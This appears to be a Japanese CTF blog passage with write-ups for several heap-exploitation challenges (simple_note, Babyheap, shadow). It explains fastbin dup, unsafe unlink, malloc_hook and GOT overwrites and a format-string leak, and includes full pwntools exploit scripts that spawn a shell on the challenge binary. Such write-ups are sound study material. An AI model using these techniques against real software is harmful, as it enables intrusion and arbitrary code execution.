2回目のmallocを行うとprev_sizeから+16byte先がポインタとして返ってくるので、それに合わせてpaddingを入れつつmalloc_hookを書き換える。うまく書き換えると以下のようになる。
f:id:shimasyaro:20170914140021p:plain
ここでmalloc_hookの説明をしておく、malloc_hookは関数のポインタになっており、mallocの実体である_int_mallocが始まる前に呼ばれる。実際のソースは以下である。
f:id:shimasyaro:20170914140419p:plain
また、malloc_hookに登録する関数はexec_commと言われる関数である。これはわざわざsystem(/bin/sh)を用意しなくてもexecveを実行してくれる関数である。実際は以下のようになる。
f:id:shimasyaro:20170914140724p:plain f:id:shimasyaro:20170914140728p:plain
このexec_commは調べた限り以下のような関数で呼ばれているようだった。
f:id:shimasyaro:20170914141048p:plain
backtraceをするとexec_comm関数の中のexec_comm_childが呼ばれているようだった。この2つの関数はglibc/posix/wordexp.cで定義されている。以下はexec_comm_childでexecve関数を呼び出している様子である。
f:id:shimasyaro:20170914141307p:plain
あとは、addを選択して、適当なsizeを入れたらmalloc_hookに入れた関数が実行される。
以下は参考になったソース(Snip2Code - MMA CTF 2017 3rd simple_note_ver2 write-up])を少し変更を加えたソースである。

from pwn import *
import sys, time

context.log_level = "debug"

if len(sys.argv) == 1:
    p = process(["./simple_note_ver2"], env={"LD_PRELOAD":"./libc.so.6"})
    log.info("PID : " + str(proc.pidof(p)[0]))

else:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("localhost", "4444")


def add(size, data, sending=False):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("note.")
    p.sendline(str(size))
    p.recvuntil("content of the note.")
    if sending:
        p.send(data)
    else:
        p.sendline(data)

def delete(idx):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("note.")
    p.sendline(str(idx))
    p.recvuntil("Success!\n")

def show(idx):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("note.")
    p.sendline(str(idx))
    p.recvuntil("Content:")

add(0x10, "Q" * 0xf, True)      # index 0   0x20
add(0x88, "A" * 0x87, True)     # index 1   0x90
add(0x60, "BBBB")               # index 2   0x80
delete(1)
add(0x80, "C" * 7)              # index 1           allocate 4times
show(1)

p.recvuntil("C" *  7 + "\n")
leak = u64(p.recv(6).ljust(8, "\x00"))          # leak main_arena + 88
libc_base = leak - 0x3c4b78
magic = libc_base + 0xf1117                     # exec_cmm+2263

main_arena = leak - 88
duphook = main_arena - 0x2b - 8

log.info("Leak : " + hex(leak))
log.info("magic : " + hex(magic))
log.info("duphook : " + hex(duphook))

# fastbin dup attack
delete(2)
delete(0)

exp = "A" * 0x10 + p64(0x0) + p64(0x91) + "B" * 0x80
exp += p64(0x90) + p64(0x71) + p64(duphook)     # overwrite fd

add(0, exp)
add(0x60, p64(0xdeadbeef))
add(0x60, "\x00" * 0x13 + p64(magic))
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("note.")
p.sendline(str(0x20))
p.interactive()

【総評】これもeasyってマジですか?

TWCTF 3rd simple_note

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170913142139p:plain
バイナリを解析していると以下のようなことが分かった。

  • Mallocするsizeが0x80より下であった場合強制終了

  • editの部分でstrlenが使われているが、off-by-one errorがある。

  • mallocされたポインタはlistで管理されている。

つまり、off-by-oneを利用してsizeをうまく書き換えて、systemを起動させることが必要である。しかし、Sizeが制限されているため、fastbinsの使用は許されない。そこで今回はunsafe unlink attackをやっていく。
まずは、下準備として、libcの特定をやっていく。特定の仕方としては、まず最初に、最低2つのadd(malloc)されたものを用意し、その中で一番最初にadd(malloc)されたものをdelete(free)する。その状態を以下に示す。
f:id:shimasyaro:20170913144156p:plain
次に、再び、同じサイズでadd(malloc)をする。このとき、改行文字を含めて全部で8byte分だけ、書き込む。すると以下のようになる。
f:id:shimasyaro:20170913144347p:plain
これで、showを行うと、main_arena+88のアドレス(unsorted bins)をleakすることができる。これにより、libcの特定ができる。
libcは特定できたため、次はunlink attackである。freeする対象のlistは5番目(index 4)である。なぜ、index 4をfreeするのかをunlink attackの復習を兼ねて見てみよう。
f:id:shimasyaro:20170913150054p:plain
unlinkのされ方としてまず、freeされる自身の上方がfree chunkであるかどうかを確かめて、freeであったら(つまり、previn_use bitが立ってなければ)unlinkの処理に入る。今回は上方がfreeされている状態をわざとchunk(fake chunk)を作る。まずは、fake chunkが作られる前である。
f:id:shimasyaro:20170913150347p:plain
fake chunkを作った後は以下のようになる。 f:id:shimasyaro:20170913150739p:plain
注目してほしいのは赤枠で囲っている二つである。まず、一番上で囲っているものはfake chunkである。fdとbkを用意し、unlinkをするために意識して準備したものである。今回はlistの1番目(index 0)のアドレスをfake chunkとつなげる。まずは、unlinkの処理を見てみよう。
f:id:shimasyaro:20170913151820p:plain
Pの部分にはfreeされる上方のchunkつまり、fake chunkが入っている。するとまず、1個目のcheckがある。これは、fake chunkのサイズとfreeされるprev_size(index 4のprev_size)が同じかどうかを確かめている。このチェックは14.04ではなかったが、16.04のglibcでは追加されているのでバージョンの違いに注意してほしい。今回の問題は16.04でもいけるようにprev_sizeを用意する。
次の問題であるが、P->fd->bkとP->bk->fdがPと一致しなければならない。つまり、fake chunkのfd+24とbk+16がPを指していなければエラーとなる。
最後に書き換わる順番であるが、まず、bkに入っているものに書き換わり、次にfdとなるので、fdを中心に考えていかなければならない。 以上をまとめると以下のようになる。

  • listのindex 3がfake chunkのprev_size(つまりP)になるようにしてfake chunkを用意する。

  • fake chunkのfd,bkはfd == (fake chunkとつなげたい場所) - 24, bk == (fake chunkとつなげたい場所) - 16とする。※今回、つなげたい場所はindex 0

最終的に書き換わると以下のように変化する。まずは変化前である。
f:id:shimasyaro:20170913154544p:plain
まだ、赤枠で囲っているindex 3は書き換わっていないことが分かる。次は、書き換わった後である。
f:id:shimasyaro:20170913155302p:plain
赤枠で囲っているindex 3がindex 0のアドレスに書き換わっていることが分かるだろうか。つまり、index 3に書き込もうとするとindex 0のアドレスに書き込もうとする。このことを利用して、index 3でeditを行い、atoiのgotに書き換え、index 0でeditを行い、atoiのgotに対して、systemのアドレスを(GOT overwrite)書き込む。
最後に、次の選択で/bin/shを書きこめば、shellが取れる。
とても、参考になったexploitコードが以下にあるので、よかったらどうぞ。

gist.github.com

なにかしら、説明に間違えあったら教えてください。

【総評】今のPwnのeasy levelがこれってマジですか?

HITCON CTF 2016 Quals Babyheap

今回の問題はx64-ELFでxinetd型であった。glibc mallocが使われている問題であるため、glibc mallocの動きを把握するのにはとても良い問題であった。ではさっそく問題を見ていこう。

kit@ubuntu:~/work/babyheap$ checksec --file babyheap 
[*] '/home/kit/work/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled
kit@ubuntu:~/work/babyheap$ 

kit@ubuntu:~/work/babyheap$ ./babyheap 
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:1
Size :16
Content:aaaaa
Name:bbbb
Done!
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:4
Really? (Y/n)n
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:

少し動かしてみたが、以下のようなことが分かった。

  • EditとDeleteはそれぞれ一回ずつしかできない。

  • ExitはYを入力しない限り終了しない。

どうやら、この制約された状況でバグを見つけるみたいだった。バグを見つけるためにまずは入力できるような部分から見ていく。mallocされるものは全部で二つあり、以下のような構造体の攻勢になっている。

struct Data{
    size_t size;
    char name[8];
    char *content;
}

そして、nameとcontentを入力する関数でoff-by-one errorのバグがあった。配列では添え字は0からスタートするため、一番最後の配列の添え字はsize - 1になっている。しかし、今回NULLを挿入するときに、配列の添え字にsizeを挿入しているため、実際はsize+1にNULLを挿入してしまい、1byte分上書きできるバグである。以下がその部分である

mov     [rbp+buf], rdi
mov     [rbp+size], esi
mov     eax, [rbp+size]
movsxd  rdx, eax        ; nbytes
mov     rax, [rbp+buf]
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
mov     [rbp+read_size], eax
cmp     [rbp+read_size], 0
jg      short add_null
add_null:
mov     eax, [rbp+read_size]
movsxd  rdx, eax
mov     rax, [rbp+buf]
add     rax, rdx
mov     byte ptr [rax], 0 ; bufの一番最後に挿入
nop
leave
retn

このバグを使えば、contentのポインタが変わるぞ!ということでnameから溢れさせてみたのが以下の様子である。
f:id:shimasyaro:20170603142856p:plain
contentのポインタが0x603030から0x603000に上書きされているのがわかる。しかし、この状態でfreeを行ってしまうと0x603000から-0x8byte先であるmalloc chunkのmeta dataであるSizeがないため、SEGVを起こして死ぬ。
どうすればいいんだよぉっていう状態になったため、write upを見ることにした。以下は参考にしたwrite upです。ありがとうございました!
shift-crops.hatenablog.com
wirte upによると16.04の環境ではheap領域にbufferingされるみたいです。マジかよ知らなかったわとツイートしたら、プロから以下のようなご意見をいただきました。助かりました!ありがとうございます
f:id:shimasyaro:20170604093156p:plain
どうやら、この問題が出された時も「16.04で動かしてね!」という旨を書かれていたらしいです。そのため、今回は試すのであれば16.04で動かしてください。
さて、Newを実行する前にSizeを-8byte先に置いておかなければならないが、どこで確保すればいいのだろうということだが、Exitの部分でY/nを入力するようなところがある。ここを規定以上の入力を行い、Heap領域にbufferingさせ、-8byte先に偽のSizeを置く。以下はbuffering前と後の様子である
f:id:shimasyaro:20170603150659p:plain
f:id:shimasyaro:20170603151013p:plain
bufferingさせる前は、0x00624000であったが、buffering後は0x00625000まで伸びている。実質0x1000をbufferingしてしまったが、これ以上短くはできなかったため、仕方なく、0x1000近く送って-8byteさきに偽のSizeを置いた。以下はその後Newを行いnameを溢れさせ、contentの下位1byteを上書きした様子である。
わかりやすくするために、色分けを行った。青枠は今回free listにつなげようとしている偽Chunk、赤枠は構造体のchunkである。
f:id:shimasyaro:20170603160801p:plain
f:id:shimasyaro:20170603160814p:plain
赤枠の構造体のcontentポインタが0x604040から0x604000にoff-by-one errorで書き換わっている。そして、0x604000から-8byteしたところに偽のSizeである0x50が入っている。0x50にした理由がこれ以下のサイズにしてしまうと赤枠の構造体と被ってしまうため、0x50にした。
ここの0x50をfree listにつなげて、contentのsizeをうまく確保すると構造体の中身を自由に書き換えることができる。 被るというのは、x64の環境ではfreeされたものは、いったんfastbinsやunsorted chunksにつながれた後、binsに繋がれる。このとき、binsは配列になっており、添え字が1増えるたび0x10ずつ大きくなっていく。このとき、binsの最小サイズは0x18である。
ここまでのお話よくわかんねぇ。というお方は以下の資料をご参照ください。資料はx86ですが、x64は単純に2倍しただけですので問題ないかと思います
speakerdeck.com

つまり、0x50より小さいbinsサイズはと0x40であるため、構造体と被ってしまうため、被らない最小の0x50にした。
よし、これで、freeすれば問題なし!と思うが、実は青枠で囲み終わって次のアドレスに格納されている0x18がなければ以下のようなエラーでSEGVをおこす。以下はfreeでエラーを起こしてSEGVになった後にback traceした様子である。

#0  0x00007ffff7a43428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4502a in __GI_abort () at abort.c:89
#2  0x00007ffff7a857ea in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7b9e2e0 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8de0a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e358 "free(): invalid next size (fast)", 
    action=0x3) at malloc.c:5004
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0x0) at malloc.c:3865
#5  0x00007ffff7a9198c in __GI___libc_free (mem=<optimized out>) at malloc.c:2966
#6  0x0000000000400b35 in ?? ()
#7  0x0000000000400d0c in ?? ()
#8  0x00007ffff7a2e830 in __libc_start_main (main=0x400c9e, argc=0x1, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:291
#9  0x0000000000400849 in ?? ()

3に書かれているエラー内容で"free(): invalid next size (fast)“と書かれているものが原因でSEGVを起こしたのである。このエラーはつぎのChunkのSizeにエラーがあるということである。
今回のケースに当てはめてみると0x50先であるnext chunkのSizeが不正であったら、エラーを起こすというものである。今回のケースでエラーを起こすのは分かっただけでも二つある。

  • bins(fastbins)の大きさと一致しない。

  • previn_use flagは特に必要ない。

詳細はソースを見るべきであるが、辛い思いをしてもよくわからなかった(絶望的にまで頭悪い)ので、確証が持てるもの以外は載せない。「glibc malloc余裕ww」というプロはぜひ知見を共有してくださいお願いします。
一応、該当しそうだなという場所は載せておきます。ソースは、glibc-2.23のmalloc.cです。また、参考になった資料も載せておきます。

3911            if (have_lock
3912               || ({ assert (locked == 0);
3913                     __libc_lock_lock (av->mutex);
3914                     locked = 1;
3915                     chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
3916                       || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3917                 }))
3918             {
3919               errstr = "free(): invalid next size (fast)";
3920               goto errout;
3921             }

github.com

さて、next chunkのサイズはどう入力するかだが、contentを入力するときにSizeを入れれば問題ない。今回の場合はpaddingとして8byte(ちょうどdeadbeefのところ)入れている。
この状態でDelete(free)を行うと以下のようにbinsにつながる。(一応fastbinsも載せる)
f:id:shimasyaro:20170603165909p:plain
f:id:shimasyaro:20170603165933p:plain
binsには、0x20の配列に構造体であった0x604010、0x50の配列に偽のchunkであるものがつながっている。ここの0x50にcontentのsizeを確保するようにする。meta dataのSize分の大きさを引いて0x48byteをNewでSizeとして確保する。以下は、新しく確保して、contentで構造体の中身を書き換えた様子である。
f:id:shimasyaro:20170603192205p:plain
contentのポインタを任意のアドレスにすることによって、そのアドレス先にNewで最初contentに書き込むとき、Editを選んだ時書き込むことができる。今回はNewの時点でGOTアドレス(.got.pltアドレス)を設定している。また、以下の手順でsystemの書き換えを行う。

  1. Newの時点でexit.got.pltのアドレスを設定する。

  2. EditでGOT Overwriteを行う。(exitをret, atoiをprintfにする)

  3. menuの入力でprintfに書き換えたatoiで意図的にFSBを作ってlibcをleakする。

  4. EditでatoiをsystemにGOT Overwriteする。

  5. menuの入力で/bin/shを入力してshellを起動

最初に、1の部分であるが、ここは2回Editを行えるようにするため、exitでプロセスが強制終了しないようにするものである。
これは第一引数にセットするためのROPがうまく見つからなかったための対策である。(どうやら本番環境のlibcではなかった模様)それにならって今回も同じ方法でやっていく
次に2の部分であるが、これは、exitからatoiまで一気に書き換える。プロセスが始まった瞬間の.got.pltがどうなっているか見てみよう。以下は、.got.pltの様子である。
f:id:shimasyaro:20170604083224p:plain
.got.pltは一度使われるとアドレス解決が行われ、libcの実態に書き換わる。そして、2回目以降からは直接、実体があるlibcアドレスに直接飛ぶようになる。書き換えを行うとき、もう一度使う予定がある関数は.plt+6のアドレスに書き換えれば、再びアドレス解決をし、実体が保存される。それを考慮しながら、exploitコードを書くと以下のようになる。
f:id:shimasyaro:20170604084121p:plain
書き換えを行う、exitとatoi以外は再びアドレス解決行うようにした。
次に、3であるが、これはmenuの入力は部分はatoiを使ってint型に変換している。つまり、menuの入力がatoiの第一引数になるため、atoiをprintfに変えることで意図的にFSBを使ってアドレスをleakする。FSBを使って1番目から地道に調べていくとどうやら8番目にmenuの入力の部分にたどり着くので、9番目に任意のアドレスを設定して、libcをleakするこのとき、%sを使う。これはポインタ先をleakさせるために用いる。一応、1番目からの様子をいかに張り付けておく。

searchmem 0x7fffffffdc40 $rsp-0x1000 $rsp+0x1000
Searching for '0x7fffffffdc40' in range: 0x7fffffffcc30 - 0x7fffffffec30
Found 2 results, display max 2 items:
[stack] : 0x7fffffffd5b8 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
[stack] : 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
 
1  0120| 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p    \030 `")
2  0128| 0x7fffffffdb80 --> 0x10 
3  0136| 0x7fffffffdb88 --> 0x7ffff7b04680 (<__read_nocancel+7>:  cmp    rax,0xfffffffffffff001)
4  0144| 0x7fffffffdb90 --> 0x7ffff7fde700 (0x00007ffff7fde700)

5  0168| 0x7fffffffdba8 --> 0xcc0000ff00000000 

6  0304| 0x7fffffffdc30 --> 0x8 
7  0312| 0x7fffffffdc38 --> 0x7ffff7a7d7fa (<_IO_puts+362>:   cmp    eax,0xffffffff)
8  0320| 0x7fffffffdc40 ("%6$p    \030 `")
9  0328| 0x7fffffffdc48 --> 0x602018 --> 0x7ffff7a91940 (<__GI___libc_free>:   push   r13)

今回の.got.pltはGOT Overwriteの影響を受けていない、free関数を用いてleak行う。このときのexploitは以下のようになる。
f:id:shimasyaro:20170604090128p:plain
%sの後ろにwが4つ入っているがこれは9番目にアドレスを設定するためのpaddingである。
次に4であるが、Editを選択するときに、atoiがprintfに書き変わっているため、返り値で比較している部分を考慮しなければならない。printfの返り値は出力した文字数であるため、menuを選択するときは入力で3文字入力する必要がある。
このとき、あらかじめexploitコードで関数を作るときに3とスペース2つの合計3文字分にしておくと後々便利である。
あとはatoiをsystemに書き換えて、再びmenuに戻ってきたら/bin/shを与えてあげればshellが取れる。以下はexploitコードである。
コードべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

exit_got           = elf.got['_exit']             # _exit got address
read_chk_plt       = elf.plt['__read_chk']        # __read_chk
puts_plt           = elf.plt['puts']              # puts
printf_plt         = elf.plt['printf']            # printf
alarm_plt          = elf.plt['alarm']             # alarm
read_plt           = elf.plt['read']              # read
stack_chk_fail_plt = elf.plt['__stack_chk_fail']  # __stack_chk_fail
libc_start_plt     = elf.plt['__libc_start_main'] # __libc_start_main
signal_plt         = elf.plt['signal']            # signal
malloc_plt         = elf.plt['malloc']            # malloc
setvbuf_plt        = elf.plt['setvbuf']           # setvbuf
ret                = 0x00400711
free_offset        = libc.symbols['free']

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 1025
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def new(size, content, name):
    conn.recvuntil('Your choice:')
    conn.send('1')
    conn.recvuntil('Size :')
    conn.send(str(size))
    conn.recvuntil('Content:')
    conn.send(content)
    conn.recvuntil('Name:')
    conn.send(name)

def delete():
    conn.recvuntil('Your choice:')
    conn.send('2')

def edit(content):
    conn.recvuntil('Your choice:')
    conn.send('3  ')
    conn.recvuntil('Content:')
    conn.send(content)

def exit(data):
    conn.recvuntil('Your choice:')
    conn.send('4')
    conn.recvuntil('Really? (Y/n)')
    conn.send(data)

# buffering heap area and create fake chunk
buffering = ''
buffering += 'nn'
buffering += '\x00'*(0x1000-0x18-len(buffering))
buffering += p64(0x50)
exit(buffering)

# create chunk and create fake chunk
data = ''
data += p64(0xdeadbeef)
data += p64(0x18)
new(0x80, data, 'A'*8)
delete()

# GOT overwrite
got_ovr = ''
got_ovr += p64(ret)                    # _exit
got_ovr += p64(read_chk_plt+6)         # __read_chk
got_ovr += p64(puts_plt+6)             # puts
got_ovr += p64(stack_chk_fail_plt+6)   # __stack_chk_fail
got_ovr += p64(printf_plt+6)           # printf
got_ovr += p64(alarm_plt+6)            # alarm
got_ovr += p64(read_plt+6)             # read
got_ovr += p64(libc_start_plt+6)       # __libc_start_main
got_ovr += p64(signal_plt+6)           # signal
got_ovr += p64(malloc_plt+6)           # malloc
got_ovr += p64(setvbuf_plt+6)          # setvbuf
got_ovr += p64(printf_plt+6)           # atoi

# overwrite content address 
ovr_address = ''
ovr_address += p64(0) * 3
ovr_address += p64(0x21)            # malloc chunk size
ovr_address += p64(len(got_ovr))    # content size
ovr_address += p64(0xfeedface)      # name
ovr_address += p64(exit_got)        # content ptr

new(0x48, ovr_address, 'B'*7)
edit(got_ovr)

conn.recvuntil('Your choice:')
conn.send('%9$swwww' + p64(elf.got['free']))
libc_free = int(hex(u64(conn.recv(6) + '\x00\x00')),16)
print '[+] free address %18x' % libc_free
libc_base = libc_free - free_offset
print '[+] libc base address %18x' % libc_base
system = libc_base + libc.symbols['system']

# atoi to system
payload = ''
payload += got_ovr[:-8]
payload += p64(system)
edit(payload)

# start shell
conn.recvuntil('Your choice:')
conn.send('/bin/sh')

conn.interactive()

[総評] glibc malloc 良さみが深い。

Tokyo Westerns/MMA CTF 2nd 2016 shadow

今回の問題は32bit-ELFで簡単な問題と思いきや全然そんなことはなかった。解法は全部で三つあるため全部紹介したいと思う。ではさっそくみてみよう!

kit@ubuntu:~/work/shadow$ checksec --file shadow 
[*] '/home/kit/work/shadow/shadow'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

kit@ubuntu:~/work/shadow$ ./shadow 
Hello!
You can send message three times.
Input name : shadow
Message length : -1
Input message : aaaa
(1/3) <shadow> aaaa

どうやら、全部で三回ほど入力ができるらしい、試しに長さを負の数を入れて動かしてみたら、正常に動いているらしかった。もしかしたら、チェックが甘いのかなと思って入力関数が存在しているところを中心に見てみることにした。すると以下のようなことが分かった。
* stackに保存しているループカウンターと比べて小さい場合ループを続ける。 * Message lengthの負数チェックがされていない。 * Input messageのBufferの後ろにはcanaryとreturn addressがある。 * input name pointerの書き換え、カウンタの書き換え、input nameのサイズの書き換えができる。
とりあえず、input messageのstackを見てみよう。
f:id:shimasyaro:20170507094339p:plain
Message lengthでは、負数を受け付けていたのでここから、BOFさせて、色々することができる。例えば様々なアドレスのleakを行うことができる。中でも、input name pointerを書き換えて任意のアドレスにするとそこに書き込むことができ、そこのアドレスの中身をleakすることもできる。(nameはInput messageを行うたびに表示されることを利用して)
この状況から、1回目でcanary leak, 2回目でlibc base leak 3回目でreturn書き換えてROPさせれば終了じゃん!と思って実行させたら、上手くいかなかった。どうやら今回はこのやり方では上手くいかないらしい。仕方ないので詳しく見ていくと何やら奇妙な動きをしている関数があった。どんな関数を呼ぶときもcall, returnする前はret, stackにpush, popを行うときもpush, popと言われるような関数を使っているようだった。つまり、message関数のreturn addressを書き換えたとしてもret関数によって元に戻される仕組みになっていた。
とりあえず、ret関数から見ていくとpop関数が呼ばれているだけであったため、pop関数をみると、shadow_init関数から呼ばれているような.bss sectionに存在しているグローバル変数(gs20h_addr)を見つけた。ここにどうやら、gs:20hに入っている値を保存しているようだった。そして次の命令でこれもshadow_init関数から呼ばれているようなグローバル変数stack_bufを見つけた。以下の命令でもあらゆる場所で見かけるため、どうやらこの二つは今回重要らしい。
この二つは何なのか調べるためにshadow_initを見てみることにした。

push    ebp
mov     ebp, esp
sub     esp, 28h
mov     dword ptr [esp+14h], 0 ; offset
mov     dword ptr [esp+10h], 0FFFFFFFFh ; fd
mov     dword ptr [esp+0Ch], 22h        ; flags
mov     dword ptr [esp+8], 0            ; prot
mov     dword ptr [esp+4], 1000h        ; len
mov     dword ptr [esp], 0              ; addr
call    _mmap
mov     ds:stack_buf, eax
mov     eax, ds:stack_buf
add     eax, 1000h
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
leave
retn

どうやら、mmapを行って、アドレスを確保した奴をStack_bufに入れ、そこから1000h加算されたアドレスを一旦、グローバル変数(gs20h_addr)に入れて、全く同じものをgs:20hに入れているようだった。詳しくret関数を見ていこう。

mov     eax, [esp+arg1]
mov     rval, eax       ; 第一引数
call    pop
mov     [ebp+0], eax    ; saved ebp
mov     eax, offset restore_eip
mov     [ebp+4], eax
retn

引数から察するに、offset restore_eipのせいでreturn addressが書き換わっていたことが分かった。しかし、ここを書き換えることはアドレスの位置的に不可能である。仕方がないため、pop関数を詳しく見ていこう。以下は重要な部分を抜粋している。

mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 1     ; prot read only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     eax, [eax]               ; eax = *gs20h_addr
mov     [ebp+gs20h_value], eax   ;gs20h value
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
add     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
mov     eax, [ebp+gs20h_value]
mov     [esp], eax
call    enc_dec
leave
retn

stack_bufから1000hまでをread onlyにしてからgs20h_addrを読み取り、stackにgs20hの値を入れる。そして、再びアクセス不可にする。その後、その値を使ってenc_dec関数を実行している。enc_dec関数を見てみよう。

push    ebp
mov     ebp, esp
mov     eax, [ebp+arg1]
xor     eax, large gs:18h
pop     ebp
retn

stackに積んである第一引数とgs:18hの値とxorを取って終了している。eaxは最終的にreturn addressの直前にstackされる。return addressはoffsetとして用意されている。
これではまだ、よくわからないため、他にまだ見ていないcall関数があるため、そっちを見てみよう。

push    ebp
mov     ebp, esp
sub     esp, 4
mov     eax, [ebp+4]         ; return address
mov     [esp], eax
call    push
mov     eax, [ebp+var_0]
mov     [esp], eax
call    push
mov     eax, [ebp+arg_0]     ; 第一引数
mov     edx, offset ret_stub 
mov     [ebp+arg_0], edx     
leave
add     esp, 4
jmp     eax                  ; 第一引数に飛ぶ

第一引数が格納されているstackにoffset ret_stubというものが格納されるらしい。これだけではよく分からないため、順を追ってデバッグしていこう。まずは、push関数からである。以下は重要なところだけを抜粋した。

mov     eax, ds:gs20h_addr
sub     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 2     ; prot write only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     ebx, ds:gs20h_addr
mov     eax, [ebp+arg_0]         ; 第一引数
mov     [esp], eax
call    enc_dec
mov     [ebx], eax               ; gs20h_addr = arg1 xor gs18h
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
add     esp, 14h
pop     ebx
pop     ebp
retn

write onlyにしたあと、enc_dec関数を実行した結果をグローバル変数に格納してるポインタに格納している。
さて、以上を踏まえて、攻撃方法を考えた結果、gs:20hを書き換えるのが良いと判断した。しかし、肝心の書き換え方法がよくわからなかったため、Write upを確認するとどうやら三つの方法があることが分かった。その三つを以下に示す。
1. gs:18hをleakして、system関数を引数と一緒にatexit関数に登録する。
2. gs:20hとgs:18hを書き換える
3. IO_stdoutを使う。

以下は参考になった資料である。とても参考になりました。誠にありがとうございます。

shift-crops.hatenablog.com

1.atexit関数を用いた攻撃

今回は、1を紹介する。まず、gs:18hのleak方法だが、これはret関数が使われたときにstackに格納されているenc_decされた値から、enc_decされる前の値とxorを取って特定する。次に、atexit関数に登録する方法だが、これはatexit関数がどんなライブラリ関数なのかを説明してから話す。
atexit関数は、exit関数が呼ばれたときに、atexit関数で登録された関数がLIFOの順番で呼ばれる。最大で32個まで登録ができる。「登録する関数は引数なし」となっているが、正確には違う。glibcソースコードを見てみよう。

// stdlib\atexit.c

atexit (void (*func) (void))
{
  return __cxa_atexit ((void (*) (void *)) func, NULL,
               &__dso_handle == NULL ? NULL : __dso_handle);
}

atexitの中を見ると別の関数であるcxa_atexitが呼ばれている。しかも、引数が増えている。これはどういうことだろう?cxa_atexitのソースを見てみよう。

// stdlib\cxa_atexit.c

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  return __internal_atexit (func, arg, d, &__exit_funcs);
}

私は、ここで登録する関数の引数は取るということが分かった。atexitがよばれて、cxa_atexitの第二引数がNULLになっているのがわかるだろうか?ここでわざと引数を与えないように制御しているようだった。さらに詳しく見ていくために、同じソースコード内にある、internal_atexitを見ていこう。

int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
           struct exit_function_list **listp)
{
  struct exit_function *new = __new_exitfn (listp);

  if (new == NULL)
    return -1;

#ifdef PTR_MANGLE
  PTR_MANGLE (func);
#endif
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  atomic_write_barrier ();
  new->flavor = ef_cxa;
  return 0;
}

見たことがない二つの構造体、exit_function_list、exit_functionががあるためその二つも見てみよう。

// stdlib\exit.h

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
    void (*at) (void);
    struct
      {
        void (*fn) (int status, void *arg);
        void *arg;
      } on;
    struct
      {
        void (*fn) (void *arg, int status);
        void *arg;
        void *dso_handle;
      } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

この二つの構造体で分かったことは、関数が最大で32個登録できるのはexit_function_list構造体の中にあるexit_function構造体の配列で最大32個と決まっていたということ。今回はunionではcxa構造体が使われるということが分かった。話を戻して、internal_atexitで、exit_function_listがダブルポインタになっている理由は一つ目のポインタで32個分(正確には登録されている分)のlist addressを管理して、次のポインタでそれぞれのlistのexit_function_list構造体の値を保持していることが分かる。
そして、もう一つ
